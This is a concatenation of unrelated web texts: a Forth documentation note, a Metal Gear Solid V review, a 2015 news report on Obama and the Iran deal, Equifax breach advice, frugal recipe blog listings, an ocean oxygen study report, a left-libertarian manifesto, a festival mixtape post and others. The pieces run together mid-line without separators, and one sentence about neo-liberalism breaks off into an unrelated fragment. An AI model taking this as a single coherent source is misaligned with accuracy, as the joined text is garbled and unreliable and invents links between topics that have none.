The file yourforth.pdf is documentation of the big sister program lina. It describes features, in particular the library in block, that are not present in yourforth. The glossary is however in accordance with yourforth, and may serve as documentation for yourforth. All words are correctly documented, inasfar present. You can start to use lina, if you need words, like the file words, that are described but not present in yourforth. If you're serious about building your own forth, you may want to use the generic ciforth system, that will allow you to make this kind of pdf-documentation relatively easy.At this point in history, no author is more divisive than Jonathan Franzen. Even people who like his books have to admit that they’re kind of terrible. In Grantland, Brian Phillips wrote: “Probably no one alive is a better novelist than Jonathan Franzen, and this is frustrating because his novels are awful, excellent but awful, books you read quickly and remember ponderously, books of exhaustive craft and yet a weird, spiraling cluelessness about the data they exhaustively collate.” Which is to say that Franzen writes great books entirely in spite of himself.
If video games have an equivalent, it is Hideo Kojima, the brilliant and exhausting Japanese game designer who makes some of the most interesting big budget action games. His work subverts the genre in ways that are both intelligent and maddening: Kojima's most famous series, Metal Gear, has been satisfying, sprawling, and convoluted since it began in 1987. Nearly 30 years later, the (supposedly) final installment, Metal Gear Solid V: The Phantom Pain, is Kojima’s crowning achievement. Released in early September, the game cost over $80 million to produce and sold 3 million copies within the first five days. I have played dozens of hours of it since launch day. And I can say that for all of its genius, The Phantom Pain is so excellent and so awful.
The Metal Gear games take place in an alternate timeline where the world is governed by technology and paramilitary warfare. All of its characters are tragic figures shellshocked from the unending horrors of battle; as a title, The Phantom Pain refers to the sensation of pain in a lost limb. The game takes place in the ’80s, where the player assumes the role of Punished “Venom” Snake, the vengeful leader of a private army that houses itself on a bright orange platform in the middle of the ocean. You take on a series of contract missions—rescues, assassinations, espionage—across beautiful open-world renderings of Afghanistan’s deserts and the jungles of the Angola-Zaire border in pursuit of a mysterious villain named Skull Face, later connected to a global conspiracy that links the story of The Phantom Pain to other Metal Gear games.
Franzen writes great books entirely in spite of himself.
On the surface, The Phantom Pain plays like any other popular militaristic shooter. Triple-A titles, particularly American-made ones, position themselves as broadly as possible, rife with blandly uncomplicated scenarios where the player fights some vague threat. None of the Metal Gear games do this. If nothing else, Hideo Kojima is interested in making games that are unabashedly weird and oddly specific.It Is the Future
Mankind has spread itself out across the solar system with varying degrees of success. The Moon and Mars are colonized. A plan to terraform Mars is well underway, hindered only by a civil war that has broken out on that planet. On Earth, a massive space elevator has been built, stretching up into the sky. It is the hub of trade in the solar system, and most people refer to it as the “Beanstalk.” Enormous megacorporations, called "corps" by most, influence every facet of daily life: food, threedee, music, career choices.
Your definitive guide to the Android universe and its unique vision of the future, The Worlds of Android is a beautiful, 272-page hardbound setting guide and art book that explores these corps and their most visionary innovations. It delves into what technological advances and extraterrestrial expansion mean to a human population that no longer resides exclusively on Earth. And it asks what it means to be human in a world filled with artificial intelligence, advanced cybernetics and genetic modification.President Barack Obama unleashed a blistering and belittling rebuke of Republican White House hopefuls Monday, calling their attack on his landmark nuclear deal with Iran "ridiculous if it weren't so sad."
Standing before television cameras during a trip to Africa, Obama suggested the bellicose rhetoric from some GOP candidates was an attempt to divert attention from Donald Trump, the wealthy businessman-turned presidential contender whose popularity is confounding the Republican field.
"Maybe it gets attention, and maybe this is just an effort to push Mr. Trump out of the headlines, but it's not the kind of leadership that is needed for America right now," Obama said during a news conference in Ethiopia.
Obama's comments marked his most direct engagement in the race to succeed him. Until now, he's largely limited his commentary to policy differences with Republicans, often sidestepping the names of specific candidates.
But the president's unsparing criticism Monday — targeting candidates Mike Huckabee and Ted Cruz, as well as Trump — underscored his sensitivity to efforts to scuttle the Iran accord, which he hopes will be his signature foreign policy initiative. It also raised the prospect of an aggressive role for Obama in the 2016 presidential campaign.
Huckabee references Holocaust
"In 18 months, I'm turning over the keys," Obama said. "I want to make sure I'm turning over the keys to somebody who is serious about the serious problems that the country faces and the world faces."
The president was asked specifically about Huckabee's assertion that Obama had agreed to a nuclear deal that would "take the Israelis and basically march them to the door of the oven," a reference to crematoria in Nazi concentration camps during the Holocaust. The Israeli government staunchly opposes the agreement and views an Iranian nuclear program as a threat to its existence.
I will stand with our ally Israel to prevent the terrorists in Tehran from achieving their own stated goal of another Holocaust. - Mike Huckabee
Obama said the comments from Huckabee, a former Arkansas governor, were part of a broader pattern from Republicans. He also singled out Cruz, the Texas senator, for saying the nuclear deal makes Obama — not Iran — the leading state sponsor of terrorism.
"These are leaders in the Republican Party," Obama said, seeming incredulous. He suggested the GOP was breaking longstanding American tradition of not playing "fast and loose" with facts during serious foreign policy debates.
Hillary Rodham Clinton, the front-runner for the Democratic nomination, said she was "offended personally" by Huckabee's comments. His remarks should be "repudiated by every person of good faith," she said during a campaign stop in Iowa Monday.
Huckabee dismissed the criticism, arguing that what was "ridiculous and sad" was that Obama wasn't taking Iran's threats to destroy Israel seriously.
"I will stand with our ally Israel to prevent the terrorists in Tehran from achieving their own stated goal of another Holocaust," Huckabee said in a statement.
Congress has until mid-September to review deal
The White House is the midst of an intense lobbying campaign to prevent Congress from blocking implementation of the Iran deal. Lawmakers have until mid-September to review the accord, which aims to curb Iran's nuclear program in exchange for relief from international economic sanctions.
Obama deflected Republicans' criticism of the deal Monday, calling it 'ridiculous if it weren't so sad.' (Evan Vucci/Associated Press) The Republican candidates are united in their opposition to the deal, saying Obama has left Iran on the brink of building a bomb and done nothing to address Tehran's support for terrorism. Some, including Wisconsin Gov. Scott Walker and Florida Sen. Marco Rubio, have vowed to immediately scrap the agreement if elected.
Obama's unprompted analysis of Trump's effect on the Republican field marks a shift for the president. He's largely steered clear of opportunities to weigh in on controversial statements Trump has made in recent weeks about Mexican immigrants and the war record of Republican Sen. John McCain, of Arizona, who was taken prisoner in Vietnam.
Obama brought up on his own Trump's suggestion that McCain wasn't a war hero because he was captured. Praising McCain's heroism, the president said Trump's remarks grew out of a political culture where those types of comments are tolerated.
"When outrageous statements are made about me, a lot of people outraged about McCain were pretty quiet," he said.
Obama has a long history with Trump, who was a driver of the "birther" movement that claimed the president wasn't born in the U.S. Trump's claims pushed Obama to release a copy of his birth certificate in 2011.
For years, Trump has been a sought-after surrogate and fundraiser for GOP candidates. As a candidate himself, he's unexpectedly emerged this summer as a leading contender for the GOP nomination, tapping into voters' discontent with Washington.
While some GOP candidates stepped up their criticism of Trump after his comments on McCain, the businessman's standing with voters does not appear to have been significantly damaged. He is still expected to be among the 10 candidates who qualify for the first Republican debate on Aug. 6 based on their standing in national polls.Millions of Americans were only vaguely aware of the credit bureau Equifax until earlier this month, when the company revealed that the personal data of more than 147 million people was exposed in a massive data hack.
So what do you do if you're among those exposed?
John Pelletier, the director of the Center for Financial Literacy at Champlain College, joined Vermont Edition to lay out the steps you can take to protect yourself.
1. Take a deep breath. You're not alone.
"If you're an adult who has credit, you're probably affected." Pelletier said. "What we lost is the crown jewels for data, for personally identifying information. Social security numbers, birth dates, addresses, even drives license numbers.
"Everything you need to commit identify theft was neatly packaged" in this breach. And he said it's not a short-term risk: information identifying you could be used to attempt identity theft or fraud in six weeks, six months, or six years.
Which brings us to step two.
2. Start by getting your credit baseline.
Equifax offers an online portal the company claims can determine if a given person was affected by the breach.
Some claim the portal is unreliable, and many chafe at the idea that the very social security numbers exposed in the breach are needed on the Equifax website (along with a last name) to check if you've been affected.
Some have even entered bogus data, like the name “Elmo” and the numbers “123456,” and say the site returns a message saying that information "may have been impacted" by the breach.
An alternative way to see if you've been affected is by pulling a comprehensive credit report from all three of the major credit bureaus: Equifax, Experian, and TransUnion.
You can get a free, federally-authorized credit report from all three agencies at AnnualCreditReport.com, which is authorized by the federal Consumer Financial Protection Bureau.
Other companies advertise free credit reports but many ultimately charge a fee.
3. Consider a credit monitoring service.
Equifax is currently offering a free year of its credit monitoring service, TrustedID Premier.
Initially, the company required those signing up for the service to agree to a restrictive Terms of Service agreement, but no longer: "I was reluctant to do it, but now that [the agreement] is gone, you might as well sign up for it," Pelletier said.
The service offers access to your credit report, allows you to lock your Equifax credit report, and monitor other major credit bureaus as well. It also offers identity theft protection insurance for up to $1 million.
Other companies offer similar credit monitoring services.
4. Put fraud alerts on your credit with all three agencies.
A credit fraud alert is a slightly more flexible way to guard your credit, Pelletier said, but it's mostly been used for short-term protections in situations where someone loses a credit card or wallet.
A fraud alert lasts roughly 90 days, and is renewable for up to seven years, but you have to contact each credit bureau individually to initiate a fraud alert.
And to end the alerts or renew them after they expire, you have to call each bureau again.
5. Consider putting a credit freeze on yourself with all three bureaus.
Pelletier calls this the "nuclear option" for those concerned about their credit. A credit freeze requires contacting each of the three credit bureaus and paying a small fee to initiate a credit freeze. It won't be effective unless you freeze your credit with each agency, Pelletier emphasized.
"No one can get your credit report," if you freeze it, Pelletier said. That will keep anyone, including you, from opening up a new credit card, getting a car loan or lease, or even have your credit checked by banks, insurance companies, or landlords for renters.
Freezing your credit will give you a long, complicated PIN number with each bureau. "Don't lose it," Pelletier stressed. Without it, he said unfreezing your credit could be extremely difficult, if not impossible.When you’re trying to manage your grocery budget, you’ll need some healthy cheap recipes to help you out. You can take control over your food bill by following along with the recipes provided in the frugal blogs listed below. You’ll be amazed to see just how much money you can save by selecting the right ingredients, using coupons, looking for sales and getting back to the basics of home-cooked meal preparations.
Erin Chase is also known as The $5 Mom and provides insightful tips to help with meal planning, grocery spending and couponing. It is possible to make fantastic dinners for $5 or less for the family. Find out how she does it on a consistent basis at her blog. ( @5dollardinners )
Erin and her husband Ben have been living an adventure as she has been helping him to get through law school. Chocolate and cheese are her favorites but she hosts a variety of money-saving recipes on her blog. These recipes will boost not only your spirit and your body but also your budget! ( @LawStudentsWife )
Follow the Good Cheap Eats blog to find out how to make better use of your deep freezer and how to create exciting meals from scratch. Home-cooked family healthy meals are provided showing how a family with six children can eat on an $800 per month food budget. You’ll find out exactly how this can be done easily as you follow along on the blog. Make sure that you take a peek at the homemade pizza – it looks sensational! ( @FishMama )
Diana Johnstone develops recipes and provides cooking lessons for healthy recipes. If you’re following a shoestring budget, you’ll find all sorts of food options here including gluten-free and vegetarian delights. ( @EatingRichly )
Eat well and cook cheaply with Haley from Cheap Recipe Blog. She’s been baking and cooking her entire life and brings her secrets for inexpensive cooking to your table. She’s a bargain hunter that knows how to choose the best ingredients to provide a scrumptious yet money-saving meal. She’s also a savings gal that loves to shop through garage sales, eBay and thrift shops. If you’d like to learn about saving money in other areas besides just food, check out her blog. ( @CheapRecipeBlog )
Cooking on a budget doesn’t have to be difficult when you know how to do it right. If you’re the type of person that isn’t used to cooking, you’ll love this site! It’s a simple and back to the basics blog to help people connect with easy meals that are home-cooked and budget friendly.
Beth’s recipes are satisfying, quick and simple. If you think that cheap eating involves cooking noodles every day, think again. You can eat well and still pay your bills on time by following the recipes listed here. ( @Budget_Bytes )
Preparing home-cooked food doesn’t mean that you have to spend endless hours in your kitchen. Learn how to make quick and affordable whole food preparations. Take the stress out of cooking by learning more about last-minute preparations and how to stay motivated to cook. If you’re looking for extra confidence in the kitchen, the simple recipes and the videos provided will really give you that extra boost you need.
What you won’t find at Stone Soup are intimidating recipes that require specialized utensils or hard-to-find ingredients. The recipes are simple but could never be considered as generic or boring. ( @jules_stonesoup )
Krista always makes sure that her husband and their 4 young boys are well-nourished. She writes about being a mom and food. It’s mostly food though and since she and her husband raise their own beef, you’re in for some exciting recipes here. ( @BudgetGourmetM )
Kristen is certainly an interesting girl and invites you into her frugal living lifestyle on her blog. Her low budget meals are innovative and look fantastic! She also includes unique ideas for frugal living that include do-it-yourself projects, repurposing ideas, frugal home decor and others. It’s an interesting site that you won’t want to miss if you’re trying to cut down on your grocery budget. ( @TheFrugalGirl )
photo creditAS THE death of another Australian soldier raised fresh questions about the war in Afghanistan, a Liberal MP has said it is time for Australia to consider withdrawing its forces.
But the Prime Minister, Julia Gillard, has told the Herald her government's decision to ''stay the course'' is reinforced by the views of the families of the slain.
Sapper Rowan Robinson... was killed in Helmand province.
''As Prime Minister, I've gone to a lot of funerals, I've spoken to a lot of families, I really understand the cost,'' she said.
''One of the things that amazes me when I do speak to families who have lost a loved one, when I do go to the funerals, is often they say to me that we best honour the sacrifice that they've made, and their loved ones have made, by staying the journey and seeing the mission through.''"Neo-liberalism" is a set of economic policies that have become widespread during the last |
it could claim a third generation like his granddaughter.Big waves generated by the Nazare canyon just off the coast of Nazare, central Portugal, in the Eastern Atlantic Ocean. (Francisco Leong/Agence France-Presse via Getty Images)
A large research synthesis, published in one of the world’s most influential scientific journals, has detected a decline in the amount of dissolved oxygen in oceans around the world — a long-predicted result of climate change that could have severe consequences for marine organisms if it continues.
The paper, published Wednesday in the journal Nature by oceanographer Sunke Schmidtko and two colleagues from the GEOMAR Helmholtz Centre for Ocean Research in Kiel, Germany, found a decline of more than 2 percent in ocean oxygen content worldwide between 1960 and 2010. The loss, however, showed up in some ocean basins more than others. The largest overall volume of oxygen was lost in the largest ocean — the Pacific — but as a percentage, the decline was sharpest in the Arctic Ocean, a region facing Earth’s most stark climate change.
The loss of ocean oxygen “has been assumed from models, and there have been lots of regional analysis that have shown local decline, but it has never been shown on the global scale, and never for the deep ocean,” said Schmidtko, who conducted the research with Lothar Stramma and Martin Visbeck, also of GEOMAR.
Ocean oxygen is vital to marine organisms, but also very delicate — unlike in the atmosphere, where gases mix together thoroughly, in the ocean that is far harder to accomplish, Schmidtko explained. Moreover, he added, just 1 percent of all the Earth’s available oxygen mixes into the ocean; the vast majority remains in the air.
Climate change models predict the oceans will lose oxygen because of several factors. Most obvious is simply that warmer water holds less dissolved gases, including oxygen. “It’s the same reason we keep our sparkling drinks pretty cold,” Schmidtko said.
But another factor is the growing stratification of ocean waters. Oxygen enters the ocean at its surface, from the atmosphere and from the photosynthetic activity of marine microorganisms. But as that upper layer warms up, the oxygen-rich waters are less likely to mix down into cooler layers of the ocean because the warm waters are less dense and do not sink as readily.
“When the upper ocean warms, less water gets down deep, and so therefore, the oxygen supply to the deep ocean is shut down or significantly reduced,” Schmidtko said.
The new study represents a synthesis of literally “millions” of separate ocean measurements over time, according to GEOMAR. The authors then used interpolation techniques for areas of the ocean where they lacked measurements.
The resulting study attributes less than 15 percent of the total oxygen loss to sheer warmer temperatures, which create less solubility. The rest was attributed to other factors, such as a lack of mixing.
Matthew Long, an oceanographer from the National Center for Atmospheric Research who has published on ocean oxygen loss, said he considers the new results “robust” and a “major advance in synthesizing observations to examine oxygen trends on a global scale.”
Long was not involved in the current work, but his research had previously demonstrated that ocean oxygen loss was expected to occur and that it should soon be possible to demonstrate that in the real world through measurements, despite the complexities involved in studying the global ocean and deducing trends about it.
That’s just what the new study has done.
“Natural variations have obscured our ability to definitively detect this signal in observations,” Long said in an email. “In this study, however, Schmidtko et al. synthesize all available observations to show a global-scale decline in oxygen that conforms to the patterns we expect from human-driven climate warming. They do not make a definitive attribution statement, but the data are consistent with and strongly suggestive of human-driven warming as a root cause of the oxygen decline.
“It is alarming to see this signal begin to emerge clearly in the observational data,” he added.
“Schmidtko and colleagues’ findings should ring yet more alarm bells about the consequences of global warming,” added Denis Gilbert, a researcher with the Maurice Lamontagne Institute at Fisheries and Oceans Canada in Quebec, in an accompanying commentary on the study also published in Nature.
Because oxygen in the global ocean is not evenly distributed, the 2 percent overall decline means there is a much larger decline in some areas of the ocean than others.
Moreover, the ocean already contains so-called oxygen minimum zones, generally found in the middle depths. The great fear is that their expansion upward, into habitats where fish and other organism thrive, will reduce the available habitat for marine organisms.
In shallower waters, meanwhile, the development of ocean “hypoxic” areas, or so-called “dead zones,” may also be influenced in part by declining oxygen content overall.
On top of all of that, declining ocean oxygen can also worsen global warming in a feedback loop. In or near low oxygen areas of the oceans, microorganisms tend to produce nitrous oxide, a greenhouse gas, Gilbert writes. Thus the new study “implies that production rates and efflux to the atmosphere of nitrous oxide … will probably have increased.”
The new study underscores once again that some of the most profound consequences of climate change are occurring in the oceans, rather than on land. In recent years, incursions of warm ocean water have caused large die-offs of coral reefs, and in some cases, kelp forests as well. Meanwhile, warmer oceans have also begun to destabilize glaciers in Greenland and Antarctica, and as they melt, these glaciers freshen the ocean waters and potentially change the nature of their circulation.
When it comes to ocean deoxygenation, as climate change continues, this trend should also increase — studies suggest a loss of up to 7 percent of the ocean’s oxygen by 2100. At the end of the current paper, the researchers are blunt about the consequences of a continuing loss of oceanic oxygen.
“Far-reaching implications for marine ecosystems and fisheries can be expected,” they write.
If carbon emissions continue unabated, expanding oceans and massive ice melt would threaten global coastal communities, according to new projections. (Daron Taylor/The Washington Post)
More from Energy and Environment:
Antarctic sea ice used to be the darling of climate change doubters. Not anymore.
Hundreds of current, former EPA employees urge Senate to reject Trump’s nominee for the agency
The Endangered Species Act may be headed for the threatened list
For more, you can sign up for our weekly newsletter here and follow us on Twitter here.What is Left-Libertarianism?
Left-libertarianism has been getting a lot of buzz recently in the broader American libertarian community. The term “left-libertarian” has been used many ways in American politics, and there seems to be some confusion within the libertarian community itself as to who left-libertarians actually are.
The basic ideas of left-libertarianism, as we at the Alliance of the Libertarian Left (ALL) and Center for a Stateless Society (C4SS) identify with that label, are broader than our organizations alone. The 1990s were a sort of Steam Engine Time for the general idea of libertarianism with a left-wing orientation, and the use of free market ideas as a weapon against the evils of corporate capitalism; a number of thinkers have developed parallel lines of analysis independently of one another, and it has grown into a large and loose-knit ideological tendency. But considering the disproportionate role ALL and C4SS have played in the growing prominence of this tendency, it’s only appropriate to explain where we’re coming from and what we mean by left-libertarianism.
The oldest and broadest usage of “left-libertarian,” and perhaps most familiar to those in the anarchist movement at large, dates back to the late nineteenth century, and includes pretty much the whole non-statist, horizontalist or decentralist Left — everybody but Social Democrats and Leninists, basically. It was originally used as a synonym for “libertarian socialist” or “anarchist,” and also commonly included syndicalists, council communists, followers of Rosa Luxemburg and Daniel DeLeon, etc. Many of us at C4SS would consider ourselves part of this broader left-libertarian community, although what we mean when we call our position “left-libertarian” is more specific.
To the general public these days, “left-libertarian” is more apt to call to mind a school of thought exemplified within the past twenty years by Hillel Steiner and Peter Vallentyne, among others. Most adherents of this philosophy combine a belief in self-ownership and the non-aggression principle with left-wing views on the limited extent to which individuals can remove property from the common and acquire unlimited rights of disposal over it simply by mixing their labor with it. It overlaps heavily with Georgism and Geolibertarianism. Although this version of left-libertarianism is not coextensive with what we promote at ALL/C4SS, and some of our members would object to aspects of it, it’s easy to imagine an adherent of this philosophy being at home among us.
Within the Anglospheric libertarian community, and those who describe themselves as “liberal” elsewhere in the world, “left-libertarianism” might be associated with Murray Rothbard’s and Karl Hess’s attempt at an alliance with anarchists in the SDS around 1970, and left-Rothbardian movements like Sam Konkin’s Agorism that grew out of it. Although left-Rothbardianism and Konkin’s Agorism are not the official position of the ALL/C4SS, it’s fair to say that we have some organizational continuity with Konkin’s Movement of the Libertarian Left, and a significant part of our oldest core membership come from the left-Rothbardian and Konkinite tradition. I myself do not. We are a multi-tendency coalition that includes left-Rothbardians, classic 19th century individualist anarchists, Georgists, and many other traditions.
There is also a tendency among American libertarians to confuse us with “Bleeding Heart Libertarians,” which is actually the name of a specific blog. Although there is some good writing there and they’ve published some of our stuff, we are not bleeding heart libertarians as such. Bleeding Heart Libertarians are a lot closer to “liberaltarian” fusionism, with deviations ranging from Cass Sunstein’s “libertarian paternalism” to the defense of sweatshops and Israeli settlements. Not to mention most of them aren’t anarchists, and we are.
So now that we’ve considered all the things that we of ALL/C4SS are not, and do not mean by “left-libertarianism,” what do we actually stand for? We call ourselves left-libertarians, first, because we want to recuperate the left-wing roots of free market libertarianism, and second because we want to demonstrate the relevance and usefulness of free market thought for addressing the concerns of today’s Left.
Classical liberalism and the classical socialist movement of the early 19th century had very close common roots in the Enlightenment. The liberalism of Adam Smith, David Ricardo and the other classical political economists was very much a left-wing assault on the entrenched economic privilege of the great Whig landed oligarchy and the mercantilism of the moneyed classes.
As the rising industrialists defeated the Whig landlords and mercantilists in the 19th century and gained a predominant position in the state, classical liberalism gradually took on the character of an apologetic doctrine in defense of the entrenched interests of industrial capital. Even so, the left-wing — even socialistic — strands of free market thought continued to survive on the margins of establishment liberalism.
Thomas Hodgskin, a classical liberal who wrote in the 1820s through 1860s, was also a socialist who saw rent, profit and interest as monopoly returns on artificial property rights and privilege. Josiah Warren, Benjamin Tucker and the other American individualists also favored a free market form of socialism in which unfettered competition would destroy rent, profit and interest and guarantee that “the natural wage of labor in a free market is its product.” Many individualist anarchists associated with Tucker’s Liberty group had close ties to radical labor and socialist groups like the Knights of Labor, the International Workingmen’s Association and the Western Federation of Miners.
This strand of libertarianism was also on the cultural Left, closely associated with movements for the abolition of slavery, and for racial equality, feminism and sexual freedom.
As the class wars of the late 19th century raged on, “free market” and “free enterprise” rhetoric in mainstream American politics came to be associated more and more with the militant defense of corporate capital against radical challenges from the labor and farm populist movement. At the same time the internal split within the anarchist movement between communists and individualists left the latter isolated and vulnerable to colonization by the Right. In the early 20th century, “free market libertarianism” came to be closely associated with right-wing defenses of capitalism by Mises and Rand. The surviving individualist tradition was stripped of its older left-wing, pro-labor and socialistic cultural traditions, and took on an increasingly right-wing apologetic character.
Nevertheless, even then some remnant of the older left-wing tradition survived in American libertarianism. In particular Georgists and quasi-Georgists like Bolton Hall, Albert Nock and Ralph Borsodi straggled along through the mid-20th century.
We on the Libertarian Left consider it utterly perverse that free market libertarianism, a doctrine which had its origins as an attack on the economic privilege of landlords and merchants, should ever have been coopted in defense of the entrenched power of the plutocracy and big business. The use of the “free market” as a legitimizing ideology for triumphant corporate capitalism, and the growth of a community of “libertarian” propagandists, is as much a perversion of free market principles as Stalinist regimes’ cooptation of rhetoric and symbols from the historic socialist movement was a perversion of the working class movement.
The industrial capitalist system that the libertarian mainstream has been defending since the mid-19th century has never even remotely approximated a free market. Capitalism, as the historic system that emerged in early modern times, is in many ways a direct outgrowth of the bastard feudalism of the late Middle Ages. It was founded on the dissolution of the open fields, enclosure of the commons and other massive expropriations of the peasantry. In Britain not only was the rural population transformed into a propertyless proletariat and driven into wage labor, but its freedom of association and movement were criminalized by a draconian police state for the first two decades of the 19th century.
On a global level, capitalism expanded into a world system through the colonial occupation, expropriation and enslavement of much of the global South. Tens and hundreds of millions of peasants were dispossessed from their land by the colonial powers and driven into the wage labor market, and their former holdings consolidated for cash crop agriculture, in a global reenactment of the Enclosures of Great Britain. In not only colonial but post-colonial times, the land and natural resources of the Third World have been enclosed, stolen and plundered by Western business interests. The current concentration of Third World land in the hands of landed elites producing in collusion with Western agribusiness interests, and of oil and mineral resources in the hands of Western corporations, is a direct legacy of four hundred years of colonial and neo-colonial robbery.
We of the Libertarian Left, as we understand it at C4SS, want to take back free market principles from the hirelings of big business and the plutocracy, and put them back to their original use: an all-out assault on the entrenched economic interests and privileged classes of our day. If the classical liberalism of Smith and Ricardo was an attack on the power of the Whig landed oligarchs and the moneyed interests, our left-libertarianism is an attack on the closest thing in our own time: global finance capital and the transnational corporations. We repudiate mainstream libertarianism’s role in defense of corporate capitalism in the 20th century, and its alliance with conservatism.
We of the Libertarian Left also want to demonstrate the relevance of free market principles, free association and voluntary cooperation in addressing the concerns of today’s Left: Economic injustice, the concentration and polarization of wealth, the exploitation of labor, pollution and waste, corporate power, and structural forms of oppression like racism, sexism, homophobia and transphobia.
Where robbery or injustice have been done, we take an unflinching stand for full rectification. Wherever ownership of land by neo-feudal elites persists, it should be treated as the rightful property of those whose ancestors have worked and used it. Peasants evicted from land to raise cash crops for Cargill and ADM should be restored to them. Haciendas in Latin America should be opened up for immediate homesteading by landless peasants. The title to vacant and unimproved land in the United States and other settler societies that has been enclosed and held out of use by absentee landlords should be voided. In cases where land originally claimed under such an illegitimate title is currently worked or inhabited by tenants or mortgage-payers, full title should be immediately transferred to them. Corporate title to mines, forests and oilfields obtained through colonial robbery should be voided out.
The minimum list of demands of left-libertarianism should include abolition of all artificial property rights, artificial scarcities, monopolies, entry barriers, regulatory cartels and subsidies, by which virtually the entire Fortune 500 gets the bulk of its profits. It should include an end to all absentee title to vacant and unimproved land, all “intellectual property” monopolies, and all restrictions on free competition in the issue of money and credit or on the free adoption of any and all media of exchange chosen by the parties to a transaction. For example, the abolition of patents and trademarks would mean an end to all legal barriers that prevent Nike’s contractors in Asia from immediately producing identical knockoff sneakers and marketing them to the local population at a tiny fraction of the price, without the Swoosh markup. It would mean an immediate end to all restrictions on the production and sale of competing versions of medications under patent, often for as little as 5% of the price. We want the portion of the price of all goods and services that consists of embedded rents on “property” in ideas or techniques — often the majority of their price — to vanish in the face of immediate competition.
Our agenda should include, also, an end to all artificial barriers to self employment, home-based enterprise, and vernacular or self-built housing and other means of low-cost subsistence — that includes licensing and zoning laws or safety codes. And it should include an end to all legal restrictions on the right of labor to organize and to withhold its services under any and all circumstances or to engage in boycotts, and an end to all legal privileges that give certified union establishments the right to restrict wildcatting and other direct action by their rank-and-file.
In the case of pollution and resource depletion, the left-libertarian agenda must include an end to all privileged access to land by extractive industries (i.e. the collusion of the U.S. Bureau of Land Management with oil, mining, logging and ranching companies), all subsidies to energy and transportation consumption (including an end to airport and highway subsidies, including the use of eminent domain for those purposes), an end to the use of eminent domain for oil and gas pipelines, the elimination of all regulatory caps on corporate liability for oil spills and other pollution, an end to the doctrine by which minimal regulatory standards preempt more stringent preexisting common law standards of liability, and a full restoration of unlimited liability (as it existed under the original common law of torts) for polluting activity like fracking and mountaintop removal. And it must include, obviously, the role of the U.S. warfare state in securing strategic access to foreign oil basins or keeping sea lanes open for oil tankers.
Corporate capitalism and class oppression live, move and have their being in state intervention on behalf of the privileged and powerful. Genuine free markets, voluntary cooperation and free association will act like dynamite at the foundations of this system of oppression.
Any left-libertarian agenda worthy of the name must also include a concern for social justice and combating structural oppression. That means, obviously, an end to all state-enforced discrimination on the basis of race, gender, or sexual orientation. But it means much more.
True, as libertarians we oppose all legal restrictions on freedom of association, including laws against discrimination by private businesses. But we should enthusiastically support direct action to combat injustice in the social realm. And historically, state non-discrimination laws have served only to codify, grudgingly and after the fact, gains won on the ground through direct action like bus boycotts, lunch counter sit-ins and the Stonewall riots. We should support the use of direct action, social pressure, boycotts and social solidarity to combat structural forms of oppression like racism and rape culture, and challenging internalized norms that perpetuate such systems of coercion.
In addressing all forms of injustice, we should take an intersectional approach. That includes a repudiation of the Old Left practices of dismissing race and gender concerns as “divisive” or something to be postponed “until later” in the interest of class unity. It also includes a repudiation of racial and gender justice movements dominated by upper-middle-class professionals, that focus solely on black or female “faces in high places” and “cabinets/boardrooms that look like the rest of America” while leaving the power of those high places, cabinets and boardrooms untouched. The assault on one form of entrenched privilege must not be seen coming at the expense of other struggles; rather, the struggles are all complementary and mutually reinforcing.
Paying special concern to the intersectional needs of the least privileged comrades in each justice movement — women and people of color in the working class; poor and working women, women of color, transgender women and sex workers within feminism; women and poor and working people within the racial justice movement; etc. — does not divide these movements. It actually strengthens them against attempts by the ruling class to divide and conquer by exploiting internal fracture lines as a source of weakness. For example, the big land-owners defeated the tenant farmer unions in the American South of the 1930s by encouraging and exploiting racial discord and causing the movement to split into separate black and white unions. Any class, racial or sexual justice movement that ignores the intersection of multiple forms of oppression among its own members, instead of paying special attention to the special needs of the least privileged, leaves itself open to the same kind of opportunism. Ultimately, any such attention to intersectional concerns must include a safe spaces approach that creates a welcome atmosphere of genuine debate for all, without the chilling effect of deliberate harassment and slurs.
Libertarians — often by our own fault — have been dismissed by many as “pot-smoking Republicans,” adhering to an insular ideology mainly of white middle-class males in Silicon Valley startups. In all too many establishment libertarian publications and online communities, the reflexive tendency is to defend big business against attacks by workers and consumers, landlords against tenants, and Walmart against Main Street, dismissing any critics as enemies of the free market and treating corporations as if they were proxies for market principles. It’s paralleled by a similar tendency to dismiss all concerns for racial and sexual justice as “collectivist.” The result is a movement seen by poor and working people, women and people of color as utterly irrelevant to their concerns. Meanwhile, white male 20-something tech workers explain the lack of women and minorities by reference to their “natural collectivism,” and morosely quote Nock from “Isaiah’s Job” to each other.
We on the Libertarian Left don’t want to be relegated to the catacombs, or be the modern-day equivalent of Jacobites sitting in the coffee houses and reminiscing about Bonnie Prince Charlie and the ’15. We don’t want to moan about how society is going to hell in a handbasket, while the majority of people fighting to change things for the better ignore us. We want our ideas to be at the center of struggles everywhere for justice and a better life. And we can only do this by treating the real concerns of actual people as if they’re worthy of respect, and showing how our ideas are relevant. This is what we aim to do.
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Translations for this article:It’s hard to believe FYF is just around the corner- again. It feels like yesterday I was stumbling out of the downtown Metrolink station, asking a stranger with a festival wristband on for a ride home (gas money included, of course) because my phone was completely dead. After getting enough power in my phone from home, proceeding to the Lyft waiting outside my door to the filthy Overpass where I watched Father John Misty saucily put moves on any girl who would look at him… oh, and of course, THREE YEARS SINCE MY FIRST FYF MIXTAPE FOR JANKY SMOOTH? Jesus fuckin Christ, where does the time go?
FYF has always been one of my favorite parties of the year and I’ve been attending for almost 10 years in a row. I’ve worked the festival, snuck in, bought tickets an hour before deciding to go – it’s a world class event in our own backyard. The recurring acts on the lineup are like distant relatives I get to reconnect with every year. The headliners jump out of my old iTunes library and onto the top billed lines. Electronic, rap, rock and the sticky stuff in-between, these bookers kill it every single year. The dust gets kicked up, the drugs kick in and the dancing never stops. From the modest beginnings of East Sunset Blvd clubs, to the scaling of Sean Carlson’s dream at LA Historic Park to the massive migration and the growing pains of moving to Exposition Park, FYF survived and thrived while even the L.A. Sports Arena met it’s demise through that time. Each location is artfully mapped out and logistical issues handled with the music fan in mind, sending the unmistakeable message that this is the people’s festival.
I had the pleasure of putting together another FYF fest mixtape for Janky Smooth – but this year we trimmed the fat instead of including the entire lineup. Danny B and I collaborated on a playlist – he picked most and left me to my own devices on some of the 20 hand picked artists, to get you pumped and familiar with some of the best acts on there. See you out there!
Download Janky Smooth FYF Mixtape III by DJ Justin CornwallA family of bears, including five cubs and their mother, borrowed a New Jersey family's backyard pool to cool off from the hot weather.
